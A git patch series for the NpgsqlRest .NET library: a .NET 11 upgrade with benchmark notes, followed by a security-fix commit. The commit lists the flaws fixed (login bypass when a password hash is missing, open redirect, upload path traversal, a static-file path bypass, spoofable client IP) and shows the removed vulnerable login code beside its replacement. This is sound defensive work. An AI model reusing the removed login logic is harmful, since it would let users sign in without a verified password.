ran in 2 alternating pairs: + +| Benchmark | off (µs) | on (µs) | Allocated off → on | +|---|---|---|---| +| GetText | 190.55, 185.38 | 190.80, 192.26 | **7.27 → 14.25 KB (×2)** | +| GetRows100 | 458.52, 461.46 | 444.83, 454.54 | **190.86 → 197.87 KB (+7 KB)** | +| HttpOnly | 41.10, 40.82 | 40.99, 38.96 | 3.03 → 2.80 KB | +| NpgsqlOnly | 139.31, 134.34 | 135.16, 134.43 | 1.57 → 1.55 KB | + +**Verdict: don't enable it yet.** Time doesn't change meaningfully (GetRows100 is about 2% faster, within noise), but NpgsqlRest's own request path allocates about 7 KB more per request. The benchmark's small methods improve slightly (HttpOnly), so the extra allocation comes from NpgsqlRest's code. The likely cause is the large request-handler method: under runtime async, every suspension can allocate a continuation that holds its live local variables. Microsoft's performance post says there are "known cases where it still produces less efficient code". Revisit with .NET 12, where it's expected to become the default, or after splitting the handler into smaller async methods. + +**Outcome:** it was enabled for every project for a short time, then **reverted**: +- Builds and the 2540 tests (which run under the JIT) were green, and the AOT publish succeeded. +- But the Native AOT client binary **crashed on the first request** (SIGBUS, exit 138, nothing logged). A clean control showed AOT with Runtime Async off works, AOT with it on crashes, and JIT with it on works. Small synthetic Runtime Async apps run fine under AOT, so the trigger is specific to NpgsqlRest's code. +- The AOT binary also grew from 36.09 MB to 38.78 MB (+7.5%), even though the managed assemblies shrank. + +### Why the allocations grew: measured + +An allocation-by-type probe ran the NpgsqlRest `GetText` request in-process 30,000 times, reading the runtime's GC allocation events: +- **Off:** 7.4 KB per request. The request handler's state machine box is 840 B, allocated once and reused. +- **On:** 19.4 KB per request. About 11.2 KB of it is runtime continuation objects of **13,704 B** each (some 7,832 B), plus about 53 `RuntimeAsyncTask` objects (72 B each) and about 16 `Action` delegates per request. + +Under Runtime Async the JIT decides which locals to save at each suspension. In one method this large (`InvokeAsync`: 373 locals, 68 of them address-taken, 103 awaits) it saves about 1,700 slots. The classic C# compiler hoisted only the ~100 locals that are live across awaits. + +Synthetic methods with up to 500 locals, address-taken locals and awaits in `finally` do *not* show this: they allocate the same or less than the classic model. Neither does awaiting classic-compiled code (about +30 B per suspension). So the cause is this one very large method, not Runtime Async in general. + +A related finding: under the JIT (`DOTNET_JitDisasmSummary=1`), the classic `d__7:MoveNext` (54 KB of IL) ends as **"Tier-0 switched MinOpts"**. The request handler has never been optimized in JIT mode. Splitting it into smaller methods is the prerequisite for both optimized JIT code and a Runtime Async benefit. + +## Raw .NET 11 report (run 1) + +``` +BenchmarkDotNet v0.16.0-preview.2, macOS 27.0.1 (26A434) [Darwin 27.0.0] +Apple M4 Pro, 1 CPU, 14 logical and 14 physical cores +.NET SDK 11.0.100 + [Host] : .NET 11.0.0 (11.0.0, 11.0.26.53018), Arm64 RyuJIT armv8.0-a + DefaultJob : .NET 11.0.0 (11.0.0, 11.0.26.53018), Arm64 RyuJIT armv8.0-a + +| Method | Mean | Error | StdDev | Ratio | RatioSD | Gen0 | Gen1 | Allocated | Alloc Ratio | +|----------- |---------:|--------:|--------:|------:|--------:|--------:|-------:|----------:|------------:| +| GetText | 191.4 us | 3.39 us | 3.76 us | 1.00 | 0.00 | 0.7324 | - | 7.27 KB | 1.00 | +| GetRows100 | 457.5 us | 5.76 us | 5.38 us | 2.39 | 0.05 | 23.4375 | 3.4180 | 190.86 KB | 26.27 | +``` diff --git a/BenchmarkTests/BenchmarkTests.csproj b/BenchmarkTests/BenchmarkTests.csproj index 5c063bdb..30b79d47 100644 --- a/BenchmarkTests/BenchmarkTests.csproj +++ b/BenchmarkTests/BenchmarkTests.csproj @@ -2,15 +2,16 @@ Exe - net10.0 + net11.0 enable enable True - 14 + 15 - + + diff --git a/BenchmarkTests/Program.cs b/BenchmarkTests/Program.cs index 7f1c7104..7ad607fc 100644 --- a/BenchmarkTests/Program.cs +++ b/BenchmarkTests/Program.cs @@ -54,7 +54,7 @@ var httpConfig = DefaultConfig.Instance .AddJob(Job.Default - .WithToolchain(new InProcessEmitToolchain(timeout: TimeSpan.FromSeconds(30), logOutput: false)) + .WithToolchain(InProcessEmitToolchain.Default) .WithLaunchCount(1) .WithWarmupCount(3) .WithIterationCount(20) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 0a85e456..ddea05bb 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -14,7 +14,7 @@ Thank you for considering a contribution! Bug reports, documentation fixes, test ## Building and testing -Prerequisites: **.NET 10 SDK** and a local **PostgreSQL** (any recent version; CI tests 15/16/17) listening on `localhost:5432` with user `postgres` / password `postgres`. The test run creates and drops its own database (`npgsql_rest_test`); connection constants live in `NpgsqlRestTests/Setup/Database.cs`. +Prerequisites: **.NET 11 SDK** and a local **PostgreSQL** (any recent version; CI tests 15/16/17) listening on `localhost:5432` with user `postgres` / password `postgres`. The test run creates and drops its own database (`npgsql_rest_test`); connection constants live in `NpgsqlRestTests/Setup/Database.cs`. ```sh dotnet build diff --git a/Directory.Build.props b/Directory.Build.props index c9915540..cb5bcd56 100644 --- a/Directory.Build.props +++ b/Directory.Build.props @@ -7,4 +7,29 @@ $([System.IO.File]::ReadAllText('$(MSBuildThisFileDirectory)version.txt').Trim()) + + + + false + + + diff --git a/NpgsqlRest/NpgsqlRest.csproj b/NpgsqlRest/NpgsqlRest.csproj index 0493f60c..7587a72d 100644 --- a/NpgsqlRest/NpgsqlRest.csproj +++ b/NpgsqlRest/NpgsqlRest.csproj @@ -2,8 +2,8 @@ Library - net10.0 - 14 + net11.0 + 15 enable enable true @@ -41,7 +41,7 @@ - + diff --git a/NpgsqlRestClient/NpgsqlRestClient.csproj b/NpgsqlRestClient/NpgsqlRestClient.csproj index bafe9e3e..2b6243e8 100644 --- a/NpgsqlRestClient/NpgsqlRestClient.csproj +++ b/NpgsqlRestClient/NpgsqlRestClient.csproj @@ -1,8 +1,8 @@  - net10.0 - 14 + net11.0 + 15 enable enable true @@ -16,13 +16,13 @@ - - + + - - - - + + + + diff --git a/NpgsqlRestTests/CliTests/CliCommandTests.cs b/NpgsqlRestTests/CliTests/CliCommandTests.cs index 524e3a57..b70d4f65 100644 --- a/NpgsqlRestTests/CliTests/CliCommandTests.cs +++ b/NpgsqlRestTests/CliTests/CliCommandTests.cs @@ -20,13 +20,15 @@ private static string ResolveDllPath() } // Find the built DLL matching the current build configuration. - // AppContext.BaseDirectory is e.g. .../NpgsqlRestTests/bin/Debug/net10.0/ - // Extract the configuration (Debug/Release) from that path. + // AppContext.BaseDirectory is e.g. .../NpgsqlRestTests/bin/Debug/net11.0/ + // Extract the configuration (Debug/Release) and the target framework folder from that path + // (the client targets the same framework as the tests). var baseParts = AppContext.BaseDirectory.Split(Path.DirectorySeparatorChar, StringSplitOptions.RemoveEmptyEntries); var binIndex = Array.LastIndexOf(baseParts, "bin"); var configuration = binIndex >= 0 && binIndex + 1 < baseParts.Length ? baseParts[binIndex + 1] : "Debug"; + var targetFramework = binIndex >= 0 && binIndex + 2 < baseParts.Length ? baseParts[binIndex + 2] : "net11.0"; - var dllPath = Path.Combine(dir.FullName, "NpgsqlRestClient", "bin", configuration, "net10.0", "NpgsqlRestClient.dll"); + var dllPath = Path.Combine(dir.FullName, "NpgsqlRestClient", "bin", configuration, targetFramework, "NpgsqlRestClient.dll"); if (!File.Exists(dllPath)) { throw new InvalidOperationException("NpgsqlRestClient.dll not found at " + dllPath); diff --git a/NpgsqlRestTests/CliTests/InstallSkillTests.cs b/NpgsqlRestTests/CliTests/InstallSkillTests.cs index 75b238cd..30b23132 100644 --- a/NpgsqlRestTests/CliTests/InstallSkillTests.cs +++ b/NpgsqlRestTests/CliTests/InstallSkillTests.cs @@ -28,7 +28,8 @@ private static string ResolveDllPath() var baseParts = AppContext.BaseDirectory.Split(Path.DirectorySeparatorChar, StringSplitOptions.RemoveEmptyEntries); var binIndex = Array.LastIndexOf(baseParts, "bin"); var configuration = binIndex >= 0 && binIndex + 1 < baseParts.Length ? baseParts[binIndex + 1] : "Debug"; - return Path.Combine(dir!.FullName, "NpgsqlRestClient", "bin", configuration, "net10.0", "NpgsqlRestClient.dll"); + var targetFramework = binIndex >= 0 && binIndex + 2 < baseParts.Length ? baseParts[binIndex + 2] : "net11.0"; + return Path.Combine(dir!.FullName, "NpgsqlRestClient", "bin", configuration, targetFramework, "NpgsqlRestClient.dll"); } // The version branch the client will request, derived from the built DLL ("3.21.0"). diff --git a/NpgsqlRestTests/NpgsqlRestTests.csproj b/NpgsqlRestTests/NpgsqlRestTests.csproj index 26731ad3..80bc6eaf 100644 --- a/NpgsqlRestTests/NpgsqlRestTests.csproj +++ b/NpgsqlRestTests/NpgsqlRestTests.csproj @@ -1,7 +1,7 @@  - net10.0 + net11.0 enable enable @@ -11,20 +11,20 @@ false NpgsqlRestTests - 14 + 15 - - - - + + + + - + runtime; build; native; contentfiles; analyzers; buildtransitive all - + runtime; build; native; contentfiles; analyzers; buildtransitive all diff --git a/docker/Dockerfile.jit b/docker/Dockerfile.jit index 7bd917e5..3b80657b 100644 --- a/docker/Dockerfile.jit +++ b/docker/Dockerfile.jit @@ -1,9 +1,9 @@ -FROM mcr.microsoft.com/dotnet/aspnet:10.0 AS base +FROM mcr.microsoft.com/dotnet/aspnet:11.0 AS base RUN apt-get update && apt-get install -y --no-install-recommends libgssapi-krb5-2 && rm -rf /var/lib/apt/lists/* WORKDIR /app EXPOSE 5000 -FROM mcr.microsoft.com/dotnet/sdk:10.0 AS build +FROM mcr.microsoft.com/dotnet/sdk:11.0 AS build WORKDIR /src # Copy project files diff --git a/docker/readme.md b/docker/readme.md index f149e045..729bcfac 100644 --- a/docker/readme.md +++ b/docker/readme.md @@ -28,7 +28,7 @@ Your REST API is now live at `http://localhost:8080` |-----|-------------|------| | `latest` | AOT-compiled native executable (x64) | ~80 MB | | `latest-arm` | AOT-compiled native executable (ARM64) | ~80 MB | -| `latest-jit` | .NET 10 JIT runtime | ~250 MB | +| `latest-jit` | .NET 11 JIT runtime | ~250 MB | | `latest-bun` | AOT executable + Bun runtime | ~120 MB | Version-specific tags are also available (e.g., `3.12.0`, `3.12.0-arm`, `3.12.0-jit`, `3.12.0-bun`). diff --git a/global.json b/global.json index 9a523dc4..8a991efb 100644 --- a/global.json +++ b/global.json @@ -1,6 +1,6 @@ { "sdk": { - "version": "10.0.0", + "version": "11.0.100", "rollForward": "latestMajor", "allowPrerelease": false } diff --git a/plugins/NpgsqlRest.CrudSource/NpgsqlRest.CrudSource.csproj b/plugins/NpgsqlRest.CrudSource/NpgsqlRest.CrudSource.csproj index c25f6c67..48efbed6 100644 --- a/plugins/NpgsqlRest.CrudSource/NpgsqlRest.CrudSource.csproj +++ b/plugins/NpgsqlRest.CrudSource/NpgsqlRest.CrudSource.csproj @@ -2,7 +2,7 @@ Library - net10.0 + net11.0 enable enable true @@ -32,7 +32,7 @@ 1.4.0 1.4.0 1.4.0 - 14 + 15 @@ -40,7 +40,7 @@ - + diff --git a/plugins/NpgsqlRest.DartClient/NpgsqlRest.DartClient.csproj b/plugins/NpgsqlRest.DartClient/NpgsqlRest.DartClient.csproj index bf7b333a..7000115a 100644 --- a/plugins/NpgsqlRest.DartClient/NpgsqlRest.DartClient.csproj +++ b/plugins/NpgsqlRest.DartClient/NpgsqlRest.DartClient.csproj @@ -2,7 +2,7 @@ Library - net10.0 + net11.0 enable enable true @@ -30,7 +30,7 @@ 1.0.0 1.0.0 1.0.0 - 14 + 15 @@ -38,7 +38,7 @@ - + diff --git a/plugins/NpgsqlRest.HttpFiles/NpgsqlRest.HttpFiles.csproj b/plugins/NpgsqlRest.HttpFiles/NpgsqlRest.HttpFiles.csproj index cd2dd03d..4b81d115 100644 --- a/plugins/NpgsqlRest.HttpFiles/NpgsqlRest.HttpFiles.csproj +++ b/plugins/NpgsqlRest.HttpFiles/NpgsqlRest.HttpFiles.csproj @@ -2,7 +2,7 @@ Library - net10.0 + net11.0 enable enable true @@ -32,7 +32,7 @@ 1.4.4 1.4.4 1.4.4 - 14 + 15 @@ -40,7 +40,7 @@ - + diff --git a/plugins/NpgsqlRest.Mcp/NpgsqlRest.Mcp.csproj b/plugins/NpgsqlRest.Mcp/NpgsqlRest.Mcp.csproj index 39cb6c43..dc40f942 100644 --- a/plugins/NpgsqlRest.Mcp/NpgsqlRest.Mcp.csproj +++ b/plugins/NpgsqlRest.Mcp/NpgsqlRest.Mcp.csproj @@ -2,7 +2,7 @@ Library - net10.0 + net11.0 enable enable true @@ -23,7 +23,7 @@ 1.1.0 1.1.0 1.1.0 - 14 + 15 @@ -31,7 +31,7 @@ - + diff --git a/plugins/NpgsqlRest.OpenApi/NpgsqlRest.OpenApi.csproj b/plugins/NpgsqlRest.OpenApi/NpgsqlRest.OpenApi.csproj index 89ed9f92..a522d000 100644 --- a/plugins/NpgsqlRest.OpenApi/NpgsqlRest.OpenApi.csproj +++ b/plugins/NpgsqlRest.OpenApi/NpgsqlRest.OpenApi.csproj @@ -2,7 +2,7 @@ Library - net10.0 + net11.0 enable enable true @@ -32,7 +32,7 @@ 1.2.2 1.2.2 1.2.2 - 14 + 15 @@ -40,7 +40,7 @@ - + diff --git a/plugins/NpgsqlRest.SqlFileSource/NpgsqlRest.SqlFileSource.csproj b/plugins/NpgsqlRest.SqlFileSource/NpgsqlRest.SqlFileSource.csproj index f304e879..9ea8a25e 100644 --- a/plugins/NpgsqlRest.SqlFileSource/NpgsqlRest.SqlFileSource.csproj +++ b/plugins/NpgsqlRest.SqlFileSource/NpgsqlRest.SqlFileSource.csproj @@ -2,7 +2,7 @@ Library - net10.0 + net11.0 enable enable true @@ -30,7 +30,7 @@ 1.1.0 1.1.0 1.1.0 - 14 + 15 @@ -38,7 +38,7 @@ - + diff --git a/plugins/NpgsqlRest.TsClient/NpgsqlRest.TsClient.csproj b/plugins/NpgsqlRest.TsClient/NpgsqlRest.TsClient.csproj index e9795bfa..05176412 100644 --- a/plugins/NpgsqlRest.TsClient/NpgsqlRest.TsClient.csproj +++ b/plugins/NpgsqlRest.TsClient/NpgsqlRest.TsClient.csproj @@ -2,7 +2,7 @@ Library - net10.0 + net11.0 enable enable true @@ -30,7 +30,7 @@ 1.37.0 1.37.0 1.37.0 - 14 + 15 @@ -38,7 +38,7 @@ - + From d23ad8cb15ed148be209ab45e2688bfedce52263 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Thu, 19 Nov 2026 12:31:12 +0100 Subject: [PATCH 04/38] fix(security): fixes from the 3.22.0 security review Critical - login: when the login result contains the hash column, password verification is mandatory - a null/missing password, a NULL stored hash, no parameter matching PasswordParameterNameContains or no PasswordHasher no longer signs the user in High - passkeys: the userContext round trip is sealed with Data Protection (bound to the challenge, and to the signed-in user when adding a passkey); completion uses the sealed server copy - a client could attach its passkey to another account - user_context: the client no longer forces "No Reset On Close"; anonymous requests set every context key to NULL; startup warning for No Reset On Close + context features - a request could run with the previous user's identity on a pooled connection - user_params: request values for claim-bound parameters are ignored for anonymous callers - external login: return_to accepts only same-origin paths (DOM XSS / open redirect) - converters: no unbounded stackalloc - a large stored value overflowed the stack and terminated the process - enum and domain columns are written as escaped JSON strings (invalid JSON, JSON injection, HTTP 500 on empty values) - file system uploads cannot write outside the upload directory (InvalidFileName status) Medium - static files: AuthorizePaths/ParsePatterns match the canonical file path ("//protected" bypass), dot-directories are not served (.well-known excepted), caches keyed by the physical file and bounded; templated claim/env values are HTML-safe (script injection) - client IP is Connection.RemoteIpAddress only (X-Forwarded-For etc. were trusted) - authorize: plain values are roles; user: and id: for users (also SSE scopes and hints); SSE hint roles no longer accumulate on the endpoint's shared role set - proxy: Cookie, Authorization, Proxy-Authorization and Set-Cookie excluded by default; server-filled values replace client copies (query, JSON body, headers); the shared HttpClient (proxy, HTTP Custom Types) no longer stores cookies across users Fixes - command timeouts use the total duration ("1 minute" used to mean no timeout) - Auth:LogoutPath matches the endpoint path and marks a logout endpoint Every fix has regression tests. changelog/v3.22.0.md documents each change in plain language, including the breaking ones and what to check when upgrading. --- .claude/skills/npgsqlrest/SKILL.md | 4 +- .../npgsqlrest/annotations-reference.md | 8 +- NpgsqlRest/Auth/LoginHandler.cs | 92 +++--- .../CommentParsers/AnnotationReference.cs | 8 +- .../CommentParsers/AuthorizeHandler.cs | 11 + NpgsqlRest/Extensions.cs | 23 +- .../HttpClientType/HttpClientTypeHandler.cs | 4 +- NpgsqlRest/NpgsqlRestBuilder.cs | 48 +++ NpgsqlRest/NpgsqlRestEndpoint.Helpers.cs | 61 +++- NpgsqlRest/NpgsqlRestEndpoint.cs | 35 ++- NpgsqlRest/NpgsqlRestSseEventSource.cs | 63 +--- NpgsqlRest/Options/NpgsqlRestOptions.cs | 3 +- NpgsqlRest/Options/ProxyOptions.cs | 12 +- NpgsqlRest/PgConverters.cs | 152 ++++++---- NpgsqlRest/Proxy/ProxyRequestHandler.cs | 112 ++++++- NpgsqlRest/RoutineEndpoint.cs | 56 +++- .../Handlers/FileSystemUploadHandler.cs | 94 +++++- NpgsqlRest/UploadHandlers/UploadFileStatus.cs | 6 +- NpgsqlRestClient/App.cs | 7 +- NpgsqlRestClient/AppStaticFileMiddleware.cs | 88 ++++-- NpgsqlRestClient/Builder.cs | 10 +- NpgsqlRestClient/ConfigDefaults.cs | 4 +- NpgsqlRestClient/ConfigSchemaGenerator.cs | 8 +- NpgsqlRestClient/ConfigTemplate.cs | 9 +- NpgsqlRestClient/DefaultResponseParser.cs | 15 +- NpgsqlRestClient/ExternalAuth.cs | 27 +- .../Fido2/Endpoints/AddPasskeyEndpoint.cs | 16 +- .../Endpoints/AddPasskeyOptionsEndpoint.cs | 23 +- .../Fido2/Endpoints/RegistrationEndpoint.cs | 15 +- .../Endpoints/RegistrationOptionsEndpoint.cs | 23 +- NpgsqlRestClient/Fido2/PasskeyUserContext.cs | 133 +++++++++ NpgsqlRestClient/RateLimitPartitionConfig.cs | 7 +- NpgsqlRestClient/appsettings.json | 9 +- .../AuthTests/AuthLoginLogoutPathTests.cs | 79 +++++ .../AuthTests/AuthPasswordLoginTests.cs | 115 +++++++- NpgsqlRestTests/AuthTests/AuthorizedTests.cs | 32 +- .../AuthTests/RateLimiterPartitionKeyTests.cs | 20 +- .../AuthTests/UserContextLeakTests.cs | 60 ++++ NpgsqlRestTests/AuthTests/UserParamsTests.cs | 50 ++++ .../CommandTimeoutConversionTests.cs | 28 ++ .../ConfigTests/ResponseParserEnvVarTests.cs | 25 +- .../Fido2/PasskeyUserContextTests.cs | 122 ++++++++ .../ParserTests/PgConvertersTests.cs | 29 +- .../ProxyForwardingSecurityTests.cs | 149 ++++++++++ .../RawContentTests/LargeValueQuotingTests.cs | 69 +++++ .../ReturnTests/EnumAndDomainReturnTests.cs | 42 +++ .../Setup/StaticFilesTestFixture.cs | 1 + .../Setup/UserContextLeakTestFixture.cs | 72 +++++ .../AuthTests/SqlFileAuthorizedTests.cs | 10 +- .../StaticFilesPathNormalizationTests.cs | 66 +++++ .../FileSystemUploadTraversalTests.cs | 127 ++++++++ changelog/v3.22.0.md | 278 ++++++++++++++++++ 52 files changed, 2227 insertions(+), 333 deletions(-) create mode 100644 NpgsqlRestClient/Fido2/PasskeyUserContext.cs create mode 100644 NpgsqlRestTests/AuthTests/AuthLoginLogoutPathTests.cs create mode 100644 NpgsqlRestTests/AuthTests/UserContextLeakTests.cs create mode 100644 NpgsqlRestTests/CommandTimeoutConversionTests.cs create mode 100644 NpgsqlRestTests/Fido2/PasskeyUserContextTests.cs create mode 100644 NpgsqlRestTests/ProxyTests/ProxyForwardingSecurityTests.cs create mode 100644 NpgsqlRestTests/RawContentTests/LargeValueQuotingTests.cs create mode 100644 NpgsqlRestTests/ReturnTests/EnumAndDomainReturnTests.cs create mode 100644 NpgsqlRestTests/Setup/UserContextLeakTestFixture.cs create mode 100644 NpgsqlRestTests/StaticFilesTests/StaticFilesPathNormalizationTests.cs create mode 100644 NpgsqlRestTests/UploadTests/FileSystemUploadTraversalTests.cs create mode 100644 changelog/v3.22.0.md diff --git a/.claude/skills/npgsqlrest/SKILL.md b/.claude/skills/npgsqlrest/SKILL.md index 2b921673..7227a274 100644 --- a/.claude/skills/npgsqlrest/SKILL.md +++ b/.claude/skills/npgsqlrest/SKILL.md @@ -106,7 +106,7 @@ Same annotations apply to functions and `.sql` files. Confirm exact syntax/alias - `HTTP [GET|POST|PUT|DELETE|QUERY] [/path]` — expose (`QUERY` = the standardized safe method with a body; its params default to the JSON body). `@path /x` — override path. `@disabled`/`@enabled`. `@internal` — exists but no public route (reachable via proxy / HTTP-type self-call). `@tags a,b`, `@openapi …`. **Auth** -- `@authorize` (any authenticated) / `@authorize role1, role2`. `@allow_anonymous` (aliases `@anonymous`, `@anon`). `@login` / `@logout`. `@user_context` (claims → PG context + headers), `@user_parameters` (claims → params). `@security_sensitive` (keep param values out of logs). +- `@authorize` (any authenticated) / `@authorize role1, role2` (plain values are ROLES only; specific users: `user:`, `id:` — since 3.22.0). `@allow_anonymous` (aliases `@anonymous`, `@anon`). `@login` / `@logout`. `@user_context` (claims → PG context + headers), `@user_parameters` (claims → params). `@security_sensitive` (keep param values out of logs). **Params / request** - `@param $1 name [type] [default …]` (rename/retype/default). `@define_param name [type]` (virtual, SQL-file). `@request_param_type query_string | body_json`. `@body_parameter_name _x` (one param = raw body). `@request_headers_mode parameter` + `@request_headers_parameter_name _headers`. Resolved param: a line `_token = select api_token from tokens where user_name = {_name}` fills `_token` server-side (client can't override). @@ -161,7 +161,7 @@ Accept: text/html'; ## SSE (server-sent events) -A long-running routine streams progress via `RAISE INFO/NOTICE`. Annotate with `@sse` (or a project's `sse_publish`/`sse_subscribe` split) and a scope (`all` | `authorize` | `matching`). Per-recipient targeting: `raise info 'msg' using hint = format('authorize %s', _user_id)`. A subscribe-only endpoint's body never runs. A cache hit skips execution → no RAISE → no broadcast (correct). +A long-running routine streams progress via `RAISE INFO/NOTICE`. Annotate with `@sse` (or a project's `sse_publish`/`sse_subscribe` split) and a scope (`all` | `authorize` | `matching`). Per-recipient targeting: `raise info 'msg' using hint = format('authorize id:%s', _user_id)` (plain hint values are roles; `id:`/`user:` prefixes target users — since 3.22.0). A subscribe-only endpoint's body never runs. A cache hit skips execution → no RAISE → no broadcast (correct). ## MCP (Model Context Protocol) diff --git a/.claude/skills/npgsqlrest/annotations-reference.md b/.claude/skills/npgsqlrest/annotations-reference.md index 0e104324..8448e400 100644 --- a/.claude/skills/npgsqlrest/annotations-reference.md +++ b/.claude/skills/npgsqlrest/annotations-reference.md @@ -29,9 +29,9 @@ Set request parameter type to query string or JSON body. ## `authorize` - **Aliases:** authorize, authorized, requires_authorization -- **Syntax:** `authorize [role1, role2, ...]` +- **Syntax:** `authorize [role1, role2, user:name, id:user_id, ...]` -Require authorization, optionally restricting to specific roles. +Require authorization, optionally restricting access. Plain values are role names (role claim); user:name matches the user name claim and id:value the user id claim. ## `allow_anonymous` @@ -211,9 +211,9 @@ Set the PostgreSQL notice level for SSE events. ## `sse_scope` - **Aliases:** sse_scope, sse_events_scope -- **Syntax:** `sse_scope [all|authorize|matching] [role1, role2, ...]` +- **Syntax:** `sse_scope [all|authorize|matching] [role1, role2, user:name, id:user_id, ...]` -Set the broadcast scope for SSE events. +Set the broadcast scope for SSE events. Authorize values: plain = role, user:name = user name claim, id:value = user id claim. ## `basic_auth` diff --git a/NpgsqlRest/Auth/LoginHandler.cs b/NpgsqlRest/Auth/LoginHandler.cs index 874eabef..ba23d924 100644 --- a/NpgsqlRest/Auth/LoginHandler.cs +++ b/NpgsqlRest/Auth/LoginHandler.cs @@ -123,59 +123,61 @@ await Results.Problem( } // hash verification last - if (performHashVerification is true) + if (performHashVerification is true && Options.AuthenticationOptions?.HashColumnName is not null) { - if (Options.AuthenticationOptions?.HashColumnName is not null && - Options.AuthenticationOptions.PasswordHasher is not null && - Options.AuthenticationOptions?.PasswordParameterNameContains is not null) + int hashOrdinal = -1; + for (int i = 0; i < reader!.FieldCount; i++) { - for (int i = 0; i < reader!.FieldCount; i++) + if (string.Equals(reader.GetName(i), Options.AuthenticationOptions.HashColumnName, StringComparison.OrdinalIgnoreCase)) { - if (string.Equals(reader.GetName(i), Options.AuthenticationOptions.HashColumnName, StringComparison.OrdinalIgnoreCase)) + hashOrdinal = i; + break; + } + } + + // A hash column in the login result means the password MUST be verified here. Every case in + // which the verification cannot run - no stored hash (NULL), no password value (missing, JSON + // null), no parameter matching PasswordParameterNameContains, no PasswordHasher configured - + // fails the login. Previously these cases skipped the check and signed the user in. + if (hashOrdinal >= 0) + { + verificationPerformed = true; + string? hash = reader!.IsDBNull(hashOrdinal) ? null : reader.GetValue(hashOrdinal).ToString(); + string? pass = null; + var foundPasswordParameter = false; + var passwordParameterNameContains = Options.AuthenticationOptions.PasswordParameterNameContains; + if (passwordParameterNameContains is not null) + { + for (var j = 0; j < command.Parameters.Count; j++) { - if (reader?.IsDBNull(i) is false) + var parameter = command.Parameters[j]; + var name = (parameter as NpgsqlRestParameter)?.ActualName; + if (name is not null && name.Contains(passwordParameterNameContains, StringComparison.OrdinalIgnoreCase)) { - var hash = reader?.GetValue(i).ToString(); - if (hash is not null) - { - // find the password parameter - var foundPasswordParameter = false; - for (var j = 0; j < command.Parameters.Count; j++) - { - var parameter = command.Parameters[j]; - var name = (parameter as NpgsqlRestParameter)?.ActualName; - if (name is not null && name.Contains(Options.AuthenticationOptions.PasswordParameterNameContains, // found password parameter - StringComparison.OrdinalIgnoreCase)) - { - foundPasswordParameter = true; - var pass = parameter?.Value?.ToString(); - if (pass is not null && parameter?.Value != DBNull.Value) - { - verificationPerformed = true; - if (Options.AuthenticationOptions.PasswordHasher?.VerifyHashedPassword(hash, pass) is false) - { - Logger?.VerifyPasswordFailed(tracePath, userId, userName); - await Results.Problem( - type: null, - statusCode: (int)HttpStatusCode.NotFound, - title: "Not Found", - detail: null).ExecuteAsync(context); - verificationFailed = true; - } - } - break; - } - } - if (foundPasswordParameter is false) - { - Logger?.CantFindPasswordParameter(tracePath, - command.Parameters.Select(p => (p as NpgsqlRestParameter)?.ActualName)?.ToArray(), - Options.AuthenticationOptions.PasswordParameterNameContains); - } - } + foundPasswordParameter = true; + pass = parameter.Value is null || parameter.Value == DBNull.Value ? null : parameter.Value.ToString(); + break; } } } + if (foundPasswordParameter is false) + { + Logger?.CantFindPasswordParameter(tracePath, + command.Parameters.Select(p => (p as NpgsqlRestParameter)?.ActualName)?.ToArray(), + passwordParameterNameContains ?? ""); + } + + var hasher = Options.AuthenticationOptions.PasswordHasher; + if (hash is null || pass is null || hasher is null || hasher.VerifyHashedPassword(hash, pass) is false) + { + Logger?.VerifyPasswordFailed(tracePath, userId, userName); + await Results.Problem( + type: null, + statusCode: (int)HttpStatusCode.NotFound, + title: "Not Found", + detail: null).ExecuteAsync(context); + verificationFailed = true; + } } } } diff --git a/NpgsqlRest/Defaults/CommentParsers/AnnotationReference.cs b/NpgsqlRest/Defaults/CommentParsers/AnnotationReference.cs index c608ccae..69362a64 100644 --- a/NpgsqlRest/Defaults/CommentParsers/AnnotationReference.cs +++ b/NpgsqlRest/Defaults/CommentParsers/AnnotationReference.cs @@ -49,8 +49,8 @@ static JsonArray ToJsonArray(string[] values) { ["name"] = "authorize", ["aliases"] = ToJsonArray(AuthorizeKey), - ["syntax"] = "authorize [role1, role2, ...]", - ["description"] = "Require authorization, optionally restricting to specific roles." + ["syntax"] = "authorize [role1, role2, user:name, id:user_id, ...]", + ["description"] = "Require authorization, optionally restricting access. Plain values are role names (role claim); user:name matches the user name claim and id:value the user id claim." }); annotations.Add((JsonNode)new JsonObject @@ -257,8 +257,8 @@ static JsonArray ToJsonArray(string[] values) { ["name"] = "sse_scope", ["aliases"] = ToJsonArray(SseEventsStreamingScopeKey), - ["syntax"] = "sse_scope [all|authorize|matching] [role1, role2, ...]", - ["description"] = "Set the broadcast scope for SSE events." + ["syntax"] = "sse_scope [all|authorize|matching] [role1, role2, user:name, id:user_id, ...]", + ["description"] = "Set the broadcast scope for SSE events. Authorize values: plain = role, user:name = user name claim, id:value = user id claim." }); annotations.Add((JsonNode)new JsonObject diff --git a/NpgsqlRest/Defaults/CommentParsers/AuthorizeHandler.cs b/NpgsqlRest/Defaults/CommentParsers/AuthorizeHandler.cs index 14d066d5..c6e196f4 100644 --- a/NpgsqlRest/Defaults/CommentParsers/AuthorizeHandler.cs +++ b/NpgsqlRest/Defaults/CommentParsers/AuthorizeHandler.cs @@ -26,6 +26,17 @@ private static void HandleAuthorize(RoutineEndpoint endpoint, string[] wordsLowe { endpoint.AuthorizeRoles = [.. wordsLower[1..]]; CommentLogger?.CommentSetAuthRoles(description, endpoint.AuthorizeRoles); + // Since 3.22.0 plain values are roles only; user names and ids need the user: / id: prefix. + // A plain number or GUID was almost certainly meant as a user id - point that out. + foreach (var value in endpoint.AuthorizeRoles) + { + if (long.TryParse(value, out _) || Guid.TryParse(value, out _)) + { + CommentLogger?.LogWarning( + "{description}: authorize value \"{value}\" is matched against the role claim only. To authorize a user id write \"{prefix}{value}\" (and \"{namePrefix}name\" for a user name).", + description, value, RoutineEndpoint.AuthorizeUserIdPrefix, value, RoutineEndpoint.AuthorizeUserNamePrefix); + } + } } else { diff --git a/NpgsqlRest/Extensions.cs b/NpgsqlRest/Extensions.cs index 8a918b80..22753121 100644 --- a/NpgsqlRest/Extensions.cs +++ b/NpgsqlRest/Extensions.cs @@ -459,22 +459,17 @@ public static object GetUserClaimsDbParam(this Dictionary claim return sb.ToString(); } + /// + /// The client IP address: HttpContext.Connection.RemoteIpAddress. + /// Request headers (X-Forwarded-For, X-Real-IP, ...) are deliberately NOT read here: any client can + /// send them, so trusting them let callers choose their own IP (bypassing 